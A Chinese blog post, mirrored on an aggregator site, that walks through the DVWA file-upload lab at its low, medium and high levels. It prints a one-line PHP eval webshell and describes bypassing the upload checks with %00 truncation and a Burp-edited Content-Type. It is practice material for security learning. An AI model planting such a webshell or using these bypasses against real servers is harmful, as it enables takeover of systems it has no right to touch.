zoukankan      html  css  js  c++  java
  • dvwa-upload

    通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

    0x00 简介

    讲的相当清晰

    https://blog.csdn.net/qq_42636435/article/details/88096844

    0x01 dvwa实战

    1、low

    由0x00已经知道我们需要做的就是上传一句话木马文件,简单的看了下源码,对上传的文件并未进行检测,直接上传1.php

    <?php 
    @eval($_POST['a']);
    ?>

    上传成功,同时得到文件的上传路径

    然后cknife连接即可

     

     2、medium

    我又看源码了

    if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ 

    可以看到medium级别对文件类型和文件大小进行了检测,尝试改变文件后缀名

    因为看博客看到了%00有截断的功能,例如:网站上传函数处理xxx.asp%00.jpg时,首先后缀名是合法的jpg格式,可以 上传,在保存文件时,遇到%00字符丢弃后面的 .jpg,文件后缀最终保存的后缀 名为xxx.asp,所以我就在后面加了个%00.jpg,上传成功,然而连接没有成功,用低级别的去看了下此时的文件,上传文件夹内包括该文件,%00不太合适

    继续上传1.php%00.jpg,用burpsuite截了个包,

    content-Type满足代码里的条件,再把名字改成2.php上传,上传成功,尝试菜刀连接:

     成功

    3、high

     $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); 
    if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000))

    判断后缀名是否为jpg,JPG,jpeg,JPEG,若不是不上传,果然白名单才最防黑

    0x02 总结

    唔,也没啥要总结的,感觉

  • 相关阅读:
    指针符号的优先级
    逆序链表建立和输出
    typedef关键字编写步骤
    CasePlayer2-嵌入式软件静态解析工具
    嵌入式软件测试工具和测试方法
    单元测试必要性
    基于winAMS、CasePlayer2嵌入式软件单元测试
    嵌入式软件测试软件--winAMS支持芯片
    基于模型开发 Back-to-Back测试统合工具-MC-Verifier
    单元测试工具-winAMS
  • 原文地址:https://www.cnblogs.com/dx-yll/p/11967645.html
Copyright © 2011-2022 走看看